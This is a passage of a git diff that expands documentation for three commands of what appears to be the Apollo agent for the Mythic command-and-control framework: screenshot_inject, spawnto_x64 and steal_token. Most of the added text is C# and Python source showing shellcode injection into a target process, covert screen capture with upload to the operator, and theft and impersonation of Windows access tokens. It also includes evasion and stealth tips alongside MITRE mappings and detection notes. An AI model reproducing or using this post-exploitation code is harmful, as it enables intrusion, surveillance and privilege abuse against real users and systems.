10 -Interval 1 +``` -### Count +**Output:** +``` +Process injection artifact generated for PID 1234 +Multiple JPEG screenshot files uploaded to Mythic: +- Screenshot 1: 1920x1080 desktop capture +- Screenshot 2: 1920x1080 desktop capture (2 seconds later) +- Screenshot 3: 1920x1080 desktop capture (4 seconds later) +``` -How many screenshots to take. Default: 1 +## Detailed Summary -### Interval +### Agent Execution Flow -Amount of time (in seconds) to wait between screenshots being taken. Default: 0 +#### 1. Parameter Processing and Validation +```csharp +[DataContract] +internal struct ScreenshotInjectParameters +{ + [DataMember(Name = "pipe_name")] public string PipeName; + [DataMember(Name = "count")] public int Count; + [DataMember(Name = "interval")] public int Interval; + [DataMember(Name = "loader_stub_id")] public string LoaderStubId; + [DataMember(Name = "pid")] public int PID; +} -## Usage +ScreenshotInjectParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); +``` +- Deserializes injection parameters from JSON +- Validates required parameters (PID, pipe name, loader stub ID) +- Sets default values for optional parameters (count=1, interval=0) +- Generates unique named pipe identifier for IPC communication + +#### 2. Target Process Validation +```csharp +bool pidRunning = false; +try +{ + System.Diagnostics.Process.GetProcessById(parameters.PID); + pidRunning = true; +} +catch +{ + pidRunning = false; +} + +if (!pidRunning) +{ + resp = CreateTaskResponse($"Process with ID {parameters.PID} is not running.", true, "error"); +} +``` +- Verifies target process exists and is running +- Uses `Process.GetProcessById()` for validation +- Provides clear error message if process not found +- Prevents injection attempts into non-existent processes + +#### 3. Assembly Building and Shellcode Generation +```csharp +// Python command builder - builds ScreenshotInject.exe +shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ScreenshotInject/ScreenshotInject.csproj" + +// Donut shellcode generation +command = "{} -f 1 -p \"{}\" {}".format(donutPath, taskData.args.get_arg("pipe_name"), SCREENSHOT_INJECT) +``` +- Builds standalone ScreenshotInject.exe using .NET compiler +- Uses Donut loader to convert executable to position-independent shellcode +- Embeds named pipe name as parameter for IPC communication +- Optimizes build for release (no debug symbols, x64 platform) + +#### 4. Process Injection Execution +```csharp +if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, out byte[] exeAsmPic)) +{ + var injector = _agent.GetInjectionManager().CreateInstance(exeAsmPic, parameters.PID); + if (injector.Inject()) + { + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "", + new IMythicMessage[] { Artifact.ProcessInject(parameters.PID, + _agent.GetInjectionManager().GetCurrentTechnique().Name) })); + } +} ``` -screenshot_inject -PID [pid] -Count [count] -Interval [interval] +- Downloads shellcode from Mythic file system +- Creates injection instance targeting specified PID +- Executes injection using Apollo's injection manager +- Generates process injection artifact for logging +- Supports multiple injection techniques (configurable) + +#### 5. Named Pipe Communication Setup +```csharp +AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); +client.ConnectionEstablished += Client_ConnectionEstablished; +client.MessageReceived += OnAsyncMessageReceived; +client.Disconnect += Client_Disconnect; + +if (client.Connect(10000)) +{ + IPCCommandArguments cmdargs = new IPCCommandArguments + { + ByteData = new byte[0], + StringData = string.Format("{0} {1}", count, interval) + }; + + IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); + foreach (IPCChunkedData chunk in chunks) + { + _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); + } +} +``` +- Establishes named pipe connection to injected process +- Uses 10-second connection timeout +- Sends configuration parameters (count, interval) to injected assembly +- Implements chunked message protocol for large data transfers +- Handles connection events asynchronously + +#### 6. Injected Assembly Screenshot Logic +```csharp +// Inside injected ScreenshotInject.exe +public static byte[][] GetScreenshots() +{ + List bshots = new List(); + foreach(Screen sc in Screen.AllScreens) + { + byte[] bScreen = GetBytesFromScreen(sc); + bshots.Add(bScreen); + } + return bshots.ToArray(); +} + +private static byte[] GetBytesFromScreen(Screen screen) +{ + using (Bitmap bmpScreenCapture = new Bitmap(screen.Bounds.Width, screen.Bounds.Height)) + { + using (Graphics g = Graphics.FromImage(bmpScreenCapture)) + { + g.CopyFromScreen(screen.Bounds.X, screen.Bounds.Y, 0, 0, + bmpScreenCapture.Size, CopyPixelOperation.SourceCopy); + using (MemoryStream ms = new MemoryStream()) + { + bmpScreenCapture.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); + return ms.ToArray(); + } + } + } +} +``` +- Executes in target process's security context +- Captures all screens using `Screen.AllScreens` +- Uses `Graphics.CopyFromScreen()` for pixel capture +- Encodes screenshots as JPEG for smaller file size +- Sends data back through named pipe to parent process + +#### 7. Asynchronous Data Handling +```csharp +private Action _sendAction; +private Action _putFilesAction; +private ConcurrentQueue _senderQueue = new ConcurrentQueue(); +private ConcurrentQueue _putFilesQueue = new ConcurrentQueue(); +private AutoResetEvent _senderEvent = new AutoResetEvent(false); +private AutoResetEvent _putFilesEvent = new AutoResetEvent(false); + +_putFilesAction = (object p) => +{ + while (!_cancellationToken.IsCancellationRequested && !_completed) + { + WaitHandle.WaitAny(new WaitHandle[] { _putFilesEvent, _cancellationToken.Token.WaitHandle, _complete }); + if (_putFilesQueue.TryDequeue(out byte[] screen)) + { + ST.Task uploadTask = new ST.Task(() => + { + return _agent.GetFileManager().PutFile(_cancellationToken.Token, _data.ID, + screen, null, out string mythicFileId, true); + }); + uploadTasks.Add(uploadTask); + uploadTask.Start(); + } + } +}; +``` +- Implements producer-consumer pattern for data processing +- Uses concurrent queues for thread-safe operations +- Handles sending commands to injected process +- Manages file uploads to Mythic asynchronously +- Supports cancellation through cancellation tokens + +#### 8. Chunked Message Protocol +```csharp +private void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) +{ + IPCChunkedData chunkedData = _jsonSerializer.Deserialize( + Encoding.UTF8.GetString(args.Data.Data.Take(args.Data.DataLength).ToArray())); + + lock (MessageStore) + { + if (!MessageStore.ContainsKey(chunkedData.ID)) + { + MessageStore[chunkedData.ID] = new ChunkedMessageStore(); + MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; + } + } + MessageStore[chunkedData.ID].AddMessage(chunkedData); +} + +private void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) +{ + List data = new List(); + for (int i = 0; i < args.Chunks.Length; i++) + { + data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); + } + + IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); + if (msg.GetTypeCode() == MessageType.ScreenshotInformation) + { + _putFilesQueue.Enqueue(((ScreenshotInformation)msg).Data); + _putFilesEvent.Set(); + } +} +``` +- Handles large screenshot data through chunked protocol +- Reconstructs messages from multiple chunks +- Uses message store to track incomplete messages +- Validates message types for security +- Processes screenshot data for file upload + +#### 9. Multi-Screenshot Coordination +```csharp +// Injected assembly loop (pseudocode) +for (int i = 0; i < count; i++) +{ + byte[][] screenshots = Screenshot.GetScreenshots(); + foreach (byte[] screenshot in screenshots) + { + SendScreenshotOverPipe(screenshot); + } + + if (i < count - 1 && interval > 0) + { + Thread.Sleep(interval * 1000); + } +} ``` +- Supports multiple screenshot capture cycles +- Implements configurable intervals between captures +- Captures all monitors in each cycle +- Maintains timing accuracy across multiple screenshots + +### Donut Shellcode Integration + +#### Position-Independent Code Generation +```bash +donut -f 1 -p "pipe_name" ScreenshotInject.exe +``` +- **Format 1**: Raw shellcode output +- **Parameter Passing**: Named pipe name embedded in shellcode +- **Architecture**: x64 position-independent code +- **Bypass**: Avoids file-based detection + +#### Shellcode Execution Flow +1. **Memory Allocation**: Allocates RWX memory in target process +2. **Code Injection**: Writes shellcode to allocated memory +3. **Execution**: Creates thread to execute injected code +4. **Parameter Resolution**: Resolves embedded pipe name at runtime +5. **Library Loading**: Dynamically loads required .NET runtime +6. **Assembly Execution**: Runs screenshot capture logic + +### Inter-Process Communication + +#### Named Pipe Architecture +```csharp +// Pipe naming convention +string pipeName = Guid.NewGuid().ToString(); // Unique per injection + +// Bidirectional communication +AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", pipeName); +``` +- Uses unique GUID-based pipe names +- Supports bidirectional communication +- Implements timeout mechanisms +- Handles connection failures gracefully + +#### Message Protocol +```csharp +public class IPCChunkedData +{ + public string ID { get; set; } // Message identifier + public int Index { get; set; } // Chunk sequence number + public bool IsComplete { get; set; } // Final chunk indicator + public string Data { get; set; } // Base64-encoded payload + public MessageType Message { get; set; } // Message type +} +``` +- Supports large data transfers through chunking +- Uses Base64 encoding for binary data +- Implements message reconstruction logic +- Provides error detection and recovery + +### Security Context Considerations + +#### Process Token Inheritance +- **Desktop Access**: Inherits target process's desktop session +- **User Context**: Executes with target process's user privileges +- **Session Isolation**: Bypasses session 0 isolation on Windows services +- **Integrity Level**: Maintains target process's integrity level + +#### Privilege Escalation Scenarios +```csharp +// Injection into higher-privilege process +if (targetProcess.HasHigherPrivileges()) +{ + // Screenshot capture gains elevated context + // May access secure desktops + // Can capture admin-only applications +} +``` + +### Performance and Resource Management + +#### Memory Usage Optimization +```csharp +// Efficient memory management in injected process +using (Bitmap bmpScreenCapture = new Bitmap(screen.Bounds.Width, screen.Bounds.Height)) +{ + using (Graphics g = Graphics.FromImage(bmpScreenCapture)) + { + using (MemoryStream ms = new MemoryStream()) + { + // Immediate disposal of resources + bmpScreenCapture.Save(ms, ImageFormat.Jpeg); + return ms.ToArray(); + } + } +} +``` +- Uses `using` statements for automatic resource disposal +- Processes screenshots sequentially to minimize memory footprint +- Implements JPEG compression to reduce data size +- Cleans up GDI+ resources immediately + +#### Network and File Transfer +```csharp +ST.Task uploadTask = new ST.Task(() => +{ + return _agent.GetFileManager().PutFile(_cancellationToken.Token, _data.ID, + screen, null, out string mythicFileId, true); +}, _cancellationToken.Token); +``` +- Uploads screenshots asynchronously to prevent blocking +- Uses cancellation tokens for task management +- Implements error handling for failed uploads +- Provides progress feedback through intermediate responses + +## APIs Used +| API | Purpose | DLL/Namespace | +|-----|---------|---------------| +| `Process.GetProcessById` | Validate target process | System.Diagnostics | +| `Graphics.CopyFromScreen` | Capture screen pixels | System.Drawing | +| `Screen.AllScreens` | Enumerate displays | System.Windows.Forms | +| `NamedPipeClientStream` | IPC communication | System.IO.Pipes | +| `Bitmap.Save` | Image encoding | System.Drawing | +| `CreateRemoteThread` | Thread creation (injection) | kernel32.dll | +| `VirtualAllocEx` | Memory allocation (injection) | kernel32.dll | +| `WriteProcessMemory` | Memory writing (injection) | kernel32.dll | ## MITRE ATT&CK Mapping +- **T1113** - Screen Capture +- **T1055** - Process Injection +- **T1055.001** - Process Injection: Dynamic-link Library Injection +- **T1129** - Shared Modules +- **T1559.001** - Inter-Process Communication: Component Object Model + +## Security Considerations +- **Process Injection**: Injects code into arbitrary processes +- **Privilege Escalation**: May gain higher privileges through target process +- **Session Bypass**: Circumvents session isolation mechanisms +- **Memory Manipulation**: Direct memory writing in target process +- **Desktop Access**: Captures sensitive information from target session +- **Steganography**: Screenshot data could hide additional payloads +- **Forensic Evasion**: Avoids file-based detection through in-memory execution + +## Defensive Detection + +### Process Injection Indicators +- **Unusual Memory Patterns**: RWX memory allocations in target process +- **Cross-Process API Calls**: `OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory` +- **Thread Creation**: `CreateRemoteThread` in foreign process +- **Module Loading**: Unexpected .NET runtime loading in non-.NET processes + +### Network and IPC Monitoring +- **Named Pipe Creation**: Unusual pipe names or patterns +- **Large Data Transfers**: Significant outbound data from screenshot uploads +- **Process Communication**: Unexpected IPC between processes +- **Network Connections**: HTTP/HTTPS uploads to suspicious destinations + +### Behavioral Analysis +- **Graphics API Usage**: Unusual `CopyFromScreen` patterns +- **Memory Usage Spikes**: Temporary memory increases during capture +- **Process Relationships**: Parent-child process analysis +- **File System Activity**: Temporary file creation patterns + +## Limitations +1. **Process Architecture**: Must match target process architecture (x86/x64) +2. **Injection Restrictions**: Some processes protected by security software +3. **Session Requirements**: Target process must have active desktop session +4. **Graphics Access**: Requires target process to have graphics capabilities +5. **Memory Constraints**: Large screenshots may cause memory pressure +6. **Network Dependencies**: Requires reliable connection for file uploads +7. **Timing Accuracy**: Intervals may drift under high system load +8. **Process Lifetime**: Injection fails if target process terminates -- T1113 +## Error Conditions +- **Process Not Found**: Target PID does not exist or has terminated +- **Injection Failed**: Cannot inject into target process (permissions, protection) +- **Pipe Connection Failed**: Named pipe communication establishment failure +- **Assembly Load Failed**: Cannot load screenshot assembly in target process +- **Graphics Access Denied**: Target process lacks desktop/graphics access +- **Memory Allocation Failed**: Insufficient memory for screenshot capture +- **File Upload Failed**: Network or file system errors during upload +- **Timeout Expired**: Operations exceed configured timeout values +- **Cancellation Requested**: User or system cancellation of operation ## Special Thanks Reznok wrote the Apollo 1.X version of this module. You can find him at the following: diff --git a/documentation-payload/apollo/commands/spawnto_x64.md b/documentation-payload/apollo/commands/spawnto_x64.md index 1e48553e..182bbba0 100644 --- a/documentation-payload/apollo/commands/spawnto_x64.md +++ b/documentation-payload/apollo/commands/spawnto_x64.md @@ -6,20 +6,268 @@ hidden = false +++ ## Summary -Specify the default binary to be used for 64-bit post-exploitation jobs. +Configures the default 64-bit executable and arguments used for post-exploitation jobs that require process creation. Sets the application path and optional arguments in Apollo's process manager for use by commands like `spawn` and other process injection operations. -### Arguments -#### Application -Specify the full path to a binary to spawn for 64-bit post-exploitation jobs. +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein -#### Arguments -Optional arguments to pass to the spawned binary. +### Arguments +- **application** (String, Required) - Full path to 64-bit executable (default: C:\Windows\System32\rundll32.exe) +- **arguments** (String, Optional) - Command line arguments to pass to the executable ## Usage ``` -spawnto_x64 -Application [binpath] -Arguments [args] +spawnto_x64 -Application C:\Windows\System32\notepad.exe +spawnto_x64 -Application C:\Windows\System32\rundll32.exe -Arguments "shell32.dll,Control_RunDLL" +spawnto_x64 C:\Windows\System32\calc.exe +``` + +**Output:** +``` +x64 Startup Information set to: C:\Windows\System32\notepad.exe +``` + +## Detailed Summary + +### Agent Execution Flow + +#### 1. Parameter Processing +```csharp +[DataContract] +internal struct SpawnToArgsx64 +{ + [DataMember(Name = "application")] public string Application; + [DataMember(Name = "arguments")] public string Arguments; +} + +SpawnToArgsx64 parameters = _jsonSerializer.Deserialize(_data.Parameters); +``` +- Deserializes application path and arguments from JSON +- Supports both JSON and command-line parameter formats +- Application parameter is required, arguments are optional + +#### 2. Command Line Parsing (Python) +```python +def split_commandline(self): + inQuotes = False + curCommand = "" + cmds = [] + for x in range(len(self.command_line)): + c = self.command_line[x] + if c == '"' or c == "'": + inQuotes = not inQuotes + if (not inQuotes and c == ' '): + cmds.append(curCommand) + curCommand = "" + else: + curCommand += c + + if curCommand != "": + cmds.append(curCommand) + + return cmds +``` +- Handles quoted arguments properly +- Splits command line respecting quote boundaries +- Removes surrounding quotes from arguments + +#### 3. Parameter Validation and Setup +```python +async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("spawnto_x64 requires a path to an executable") + + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + parts = self.split_commandline() + self.add_arg("application", parts[0]) + firstIndex = self.command_line.index(parts[0]) + cmdline = self.command_line[firstIndex+len(parts[0]):].strip() + if cmdline[0] in ['"', "'"]: + cmdline = cmdline[1:].strip() + self.add_arg("arguments", cmdline) ``` +- Validates executable path is provided +- Supports both JSON and space-separated formats +- Extracts application path and remaining arguments + +#### 4. Process Manager Configuration +```csharp +if (_agent.GetProcessManager().SetSpawnTo(parameters.Application, parameters.Arguments, true)) +{ + var sacParams = _agent.GetProcessManager().GetStartupInfo(); + resp = CreateTaskResponse( + $"x64 Startup Information set to: {sacParams.Application} {sacParams.Arguments}", + true); +} +else +{ + resp = CreateTaskResponse("Failed to set startup information.", true, "error"); +} +``` +- Calls `SetSpawnTo` on process manager with application, arguments, and x64 flag (true) +- Retrieves updated startup info to confirm configuration +- Provides success confirmation with configured values +- Handles configuration failures with error message + +### Process Manager Integration + +#### SetSpawnTo Method +```csharp +// Called with parameters: +// - parameters.Application: Full path to executable +// - parameters.Arguments: Command line arguments +// - true: Flag indicating x64 architecture +_agent.GetProcessManager().SetSpawnTo(parameters.Application, parameters.Arguments, true); +``` +- Sets 64-bit specific spawn configuration +- Third parameter (true) indicates x64 architecture +- Stores configuration for use by other commands + +#### GetStartupInfo Method +```csharp +var sacParams = _agent.GetProcessManager().GetStartupInfo(); +// Returns configured application and arguments +``` +- Retrieves current startup configuration +- Used to confirm successful configuration +- Returns structure with Application and Arguments properties + +### Default Configuration + +#### Default Values +```python +CommandParameter( + name="application", + type=ParameterType.String, + default_value="C:\\Windows\\System32\\rundll32.exe" +), +CommandParameter( + name="arguments", + type=ParameterType.String, + default_value="", + required=False +) +``` +- Default 64-bit executable: `C:\Windows\System32\rundll32.exe` +- Default arguments: empty string +- Arguments are optional parameter + +#### Display Parameters +```python +response.DisplayParams = "-Application {}".format(taskData.args.get_arg("application")) +if args: + response.DisplayParams += " -Arguments {}".format(args) +``` +- Shows configured application path +- Includes arguments in display if provided +- Used for task display in Mythic interface + +### Error Handling + +#### Configuration Failure +```csharp +if (_agent.GetProcessManager().SetSpawnTo(parameters.Application, parameters.Arguments, true)) +{ + // Success path +} +else +{ + resp = CreateTaskResponse("Failed to set startup information.", true, "error"); +} +``` +- Single error condition: SetSpawnTo method returns false +- Generic error message for configuration failures +- No specific error details provided + +#### Parameter Validation +```python +if len(self.command_line) == 0: + raise Exception("spawnto_x64 requires a path to an executable") +``` +- Validates that executable path is provided +- Raises exception if no command line provided +- No validation of executable existence or accessibility + +### Integration with Other Commands + +#### Commands That Use Spawnto Configuration +Based on the code, commands that call `_agent.GetProcessManager().GetStartupInfo()` will use this configuration: +- `spawn` command uses startup info for process creation +- Other process injection commands may use this configuration + +#### Architecture Relationship +- `spawnto_x64` sets 64-bit configuration (true flag) +- Likely counterpart to `spawnto_x86` for 32-bit configuration +- Commands determine which configuration to use based on payload architecture + +### Data Structures + +#### SpawnToArgsx64 Structure +```csharp +[DataContract] +internal struct SpawnToArgsx64 +{ + [DataMember(Name = "application")] public string Application; + [DataMember(Name = "arguments")] public string Arguments; +} +``` + +#### Command Parameters +```python +self.args = [ + CommandParameter( + name="application", + cli_name="Application", + display_name="Path to Application", + type=ParameterType.String, + default_value="C:\\Windows\\System32\\rundll32.exe" + ), + CommandParameter( + name="arguments", + cli_name="Arguments", + display_name="Arguments", + type=ParameterType.String, + default_value="", + required=False + ) +] +``` + +## APIs Used +| API | Purpose | Integration | +|-----|---------|-------------| +| `SetSpawnTo()` | Configure spawn executable | Apollo ProcessManager | +| `GetStartupInfo()` | Retrieve startup configuration | Apollo ProcessManager | +| `split_commandline()` | Parse command line arguments | Internal Method | +| `load_args_from_json_string()` | Parse JSON parameters | TaskArguments | ## MITRE ATT&CK Mapping +- **T1055** - Process Injection + +## Security Considerations +- **Process Configuration**: Sets default executable for process creation operations +- **Persistence**: Configuration persists for agent session duration +- **Process Selection**: Choice of executable affects stealth of subsequent operations +- **Command Line Arguments**: Arguments may be visible in process listings + +## Limitations +1. **No Path Validation**: Does not verify executable exists or is accessible +2. **Session Scope**: Configuration limited to current agent session +3. **Architecture Specific**: Only configures 64-bit executable path +4. **No Error Details**: Limited error information on configuration failure +5. **Static Configuration**: Cannot dynamically change based on target requirements + +## Error Conditions +- **No Executable Path**: Command line is empty +- **Configuration Failed**: SetSpawnTo method returns false +- **Invalid JSON**: Malformed JSON parameters (if using JSON format) -- T1055 +## Best Practices +1. **Executable Selection**: Choose legitimate, commonly present executables +2. **Path Verification**: Verify executable exists before configuration +3. **Argument Consideration**: Be aware arguments may be visible in process lists +4. **Architecture Matching**: Ensure executable matches intended architecture (64-bit) +5. **Default Awareness**: Understand default (rundll32.exe) implications \ No newline at end of file diff --git a/documentation-payload/apollo/commands/steal_token.md b/documentation-payload/apollo/commands/steal_token.md index 1f22eaff..0a7be3bc 100644 --- a/documentation-payload/apollo/commands/steal_token.md +++ b/documentation-payload/apollo/commands/steal_token.md @@ -10,23 +10,371 @@ Artifacts Generated: Process Open {{% /notice %}} ## Summary -Steal the primary token from another process. If no target process is specified, `winlogon.exe` will be the default target. +Steals the primary access token from a target process and sets it as both the primary and impersonation token for the Apollo agent. Opens the target process, duplicates its token, and updates the agent's identity context to operate under the stolen token's privileges. -### Arguments (Positional) -#### pid -The process id to steal a primary access token from. This will default to `winlogon.exe` if no PID is provided. +- **Needs Admin:** False (depends on target process privileges) +- **Version:** 2 +- **Author:** @djhohnstein + +### Arguments +- **pid** (Number, Required) - Process ID to steal token from ## Usage ``` -steal_token [pid] +steal_token 1234 +steal_token {"pid": 5678} +steal_token {"process_id": 9012} +``` + +**Output:** +``` +Successfully impersonated DOMAIN\Administrator +Old Claims (Authenticated: True, AuthType: Negotiate): +...claim details... + +New Claims (Authenticated: True, AuthType: Negotiate): +...claim details... +``` + +## Detailed Summary + +### Agent Execution Flow + +#### 1. Parameter Processing and Validation +```python +async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("steal_token requires a PID to steal a token from.") + + try: + if self.command_line[0] == '{': + supplied_dict = json.loads(self.command_line) + if "pid" in supplied_dict: + self.add_arg("pid", int(supplied_dict["pid"]), type=ParameterType.Number) + elif "process_id" in supplied_dict: + self.add_arg("pid", int(supplied_dict["process_id"]), type=ParameterType.Number) + else: + self.load_args_from_json_string(self.command_line) + else: + self.add_arg("pid", int(self.command_line), type=ParameterType.Number) + except: + raise Exception(f"Invalid integer value given for PID: {self.command_line}") +``` +- Validates PID parameter is provided +- Supports JSON format with "pid" or "process_id" keys +- Supports raw integer PID format +- Validates PID is valid integer value + +#### 2. API Function Resolution +```csharp +public steal_token(IAgent agent, MythicTask data) : base(agent, data) +{ + _pOpenProcessToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); + _pDuplicateTokenEx = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "DuplicateTokenEx"); + _pCloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); +} +``` +- Resolves `OpenProcessToken` from advapi32.dll +- Resolves `DuplicateTokenEx` from advapi32.dll +- Resolves `CloseHandle` from kernel32.dll +- Uses Apollo's dynamic API resolution framework + +#### 3. Process Handle Acquisition +```csharp +try +{ + procHandle = System.Diagnostics.Process.GetProcessById((int) Convert.ToInt32(_data.Parameters)).Handle; +} +catch (Exception ex) +{ + errorMessage = $"Failed to acquire process handle to {_data.Parameters}: {ex.Message}"; +} ``` -Example +- Uses `Process.GetProcessById()` to get process handle +- Converts string parameter to integer PID +- Handles process not found or access denied exceptions +- Stores error message for failed handle acquisition + +#### 4. Process Open Artifact Generation +```csharp +if (procHandle != IntPtr.Zero) +{ + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse("", false, "", new IMythicMessage[] + { + Artifact.ProcessOpen(int.Parse(_data.Parameters)) + })); +} ``` +- Generates process open artifact when handle acquired successfully +- Uses target PID for artifact logging +- Provides intermediate response before token operations + +#### 5. Primary Token Extraction +```csharp +bool bRet = _pOpenProcessToken( + procHandle, + TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query, + out hProcessToken); + +if (!bRet) +{ + errorMessage = $"Failed to open process token: {Marshal.GetLastWin32Error()}"; +} +else +{ + _agent.GetIdentityManager().SetPrimaryIdentity(hProcessToken); +} +``` +- Calls `OpenProcessToken` with required access levels +- Requests Duplicate, AssignPrimary, and Query access +- Sets extracted token as agent's primary identity +- Handles token extraction failures with Win32 error codes + +#### 6. Impersonation Token Creation +```csharp +bRet = _pDuplicateTokenEx( + hProcessToken, + TokenAccessLevels.MaximumAllowed, + IntPtr.Zero, + TokenImpersonationLevel.Impersonation, + 1, // TokenImpersonation + out hImpersonationToken); + +if (!bRet) +{ + errorMessage = $"Failed to duplicate token for impersonation: {Marshal.GetLastWin32Error()}"; +} +else +{ + _agent.GetIdentityManager().SetImpersonationIdentity(hImpersonationToken); +} +``` +- Duplicates primary token for impersonation use +- Requests maximum allowed access on duplicated token +- Sets impersonation level to TokenImpersonationLevel.Impersonation +- Sets token type to 1 (TokenImpersonation) +- Updates agent's impersonation identity + +#### 7. Identity Comparison and Reporting +```csharp +var old = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); +_agent.GetIdentityManager().SetImpersonationIdentity(hImpersonationToken); +var cur = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); + +var stringOutput = $"Old Claims (Authenticated: {old.IsAuthenticated}, AuthType: "; +try +{ + stringOutput += $"{old.AuthenticationType}):\n"; +} +catch +{ + stringOutput += $"AccessDenied):\n"; +} + +foreach (var item in old.Claims) +{ + stringOutput += item.ToString() + "\n"; +} + +stringOutput += $"\nNew Claims (Authenticated: {cur.IsAuthenticated}, AuthType: "; +try +{ + stringOutput += $"{cur.AuthenticationType}):\n"; +} +catch +{ + stringOutput += $"AccessDenied):\n"; +} + +foreach (var item in old.Claims) +{ + stringOutput += item.ToString() + "\n"; +} +``` +- Captures old identity before token change +- Sets new impersonation identity +- Compares old and new identity claims +- Handles access denied exceptions when reading authentication type +- Enumerates claims for both old and new identities + +#### 8. Callback Update and Response +```csharp +resp = CreateTaskResponse($"Successfully impersonated {cur.Name}\n{stringOutput}", true, "", new IMythicMessage[] { + new CallbackUpdate{ ImpersonationContext = $"{cur.Name}" } +}); +``` +- Creates success response with impersonated user name +- Includes detailed claims comparison in response +- Updates callback context with new impersonation identity +- Provides callback update message for Mythic interface + +#### 9. Resource Cleanup +```csharp +if (hProcessToken != IntPtr.Zero) +{ + _pCloseHandle(hProcessToken); +} + +if (hImpersonationToken != IntPtr.Zero) +{ + _pCloseHandle(hImpersonationToken); +} +``` +- Closes process token handle if opened +- Closes impersonation token handle if created +- Ensures proper resource cleanup regardless of success/failure + +### Token Access Levels and Permissions + +#### Required Token Access +```csharp +TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query +``` +- **Duplicate**: Required to duplicate the token +- **AssignPrimary**: Required to use token as primary token +- **Query**: Required to read token information + +#### Impersonation Token Access +```csharp +TokenAccessLevels.MaximumAllowed +``` +- Requests maximum possible access on duplicated token +- Actual access depends on caller's privileges and token security + +#### Token Types and Levels +```csharp +TokenImpersonationLevel.Impersonation // Impersonation level +1 // TokenImpersonation type constant +``` +- Uses Impersonation level (not Identification or Delegation) +- Creates impersonation token type (not primary) + +### Identity Manager Integration + +#### Primary Identity Management +```csharp +_agent.GetIdentityManager().SetPrimaryIdentity(hProcessToken); +``` +- Sets stolen token as agent's primary identity +- Affects agent's base security context + +#### Impersonation Identity Management +```csharp +var old = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); +_agent.GetIdentityManager().SetImpersonationIdentity(hImpersonationToken); +var cur = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); +``` +- Retrieves current impersonation identity before change +- Sets new impersonation identity with stolen token +- Retrieves new identity for comparison reporting + +### Error Handling + +#### Process Handle Errors +```csharp +try +{ + procHandle = System.Diagnostics.Process.GetProcessById((int) Convert.ToInt32(_data.Parameters)).Handle; +} +catch (Exception ex) +{ + errorMessage = $"Failed to acquire process handle to {_data.Parameters}: {ex.Message}"; +} +``` +- Handles process not found exceptions +- Handles access denied when opening process +- Handles invalid PID format exceptions + +#### Token Operation Errors +```csharp +if (!bRet) +{ + errorMessage = $"Failed to open process token: {Marshal.GetLastWin32Error()}"; +} + +if (!bRet) +{ + errorMessage = $"Failed to duplicate token for impersonation: {Marshal.GetLastWin32Error()}"; +} +``` +- Uses Win32 error codes for detailed error reporting +- Handles token access denied scenarios +- Handles token duplication failures + +#### Authentication Type Access Errors +```csharp +try +{ + stringOutput += $"{old.AuthenticationType}):\n"; +} +catch +{ + stringOutput += $"AccessDenied):\n"; +} +``` +- Handles access denied when reading authentication type +- Provides fallback error message in output + +### Parameter Processing + +#### Command Line Formats +```python +# Raw integer format steal_token 1234 + +# JSON with "pid" key +steal_token {"pid": 1234} + +# JSON with "process_id" key +steal_token {"process_id": 1234} +``` + +#### Display Parameters +```python +response.DisplayParams = f"{taskData.args.get_arg('pid')}" +taskData.args.set_manual_args(f"{taskData.args.get_arg('pid')}") ``` +- Shows target PID in task display +- Sets manual arguments for task representation +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `Process.GetProcessById` | Get process handle | System.Diagnostics | +| `OpenProcessToken` | Extract process token | advapi32.dll | +| `DuplicateTokenEx` | Duplicate token for impersonation | advapi32.dll | +| `CloseHandle` | Close token handles | kernel32.dll | +| `GetLastWin32Error` | Retrieve error codes | kernel32.dll | ## MITRE ATT&CK Mapping +- **T1134** - Access Token Manipulation +- **T1528** - Steal Application Access Token + +## Security Considerations +- **Token Theft**: Steals authentication tokens from other processes +- **Privilege Escalation**: May gain higher privileges through stolen tokens +- **Identity Impersonation**: Changes agent's security context +- **Process Access**: Requires ability to open target process +- **Token Duplication**: Creates new tokens for impersonation use + +## Limitations +1. **Process Access**: Requires ability to open target process handle +2. **Token Access**: Needs sufficient privileges to access process token +3. **Session Scope**: Token theft limited to current session +4. **Architecture**: Must match target process architecture +5. **Process State**: Target process must be running and accessible + +## Error Conditions +- **Invalid PID**: Non-existent or invalid process ID +- **Process Access Denied**: Insufficient privileges to open target process +- **Token Access Denied**: Cannot access target process token +- **Token Duplication Failed**: Unable to duplicate token for impersonation +- **Parameter Format Error**: Invalid PID format or JSON structure -- T1134 -- T1528 \ No newline at end of file +## Best Practices +1. **Target Selection**: Choose processes with desired privilege levels +2. **Error Handling**: Monitor for access denied and privilege issues +3. **Resource Cleanup**: Ensure proper handle cleanup on completion +4. **Identity Verification**: Verify successful impersonation after token theft +5. **Privilege Awareness**: Understand current 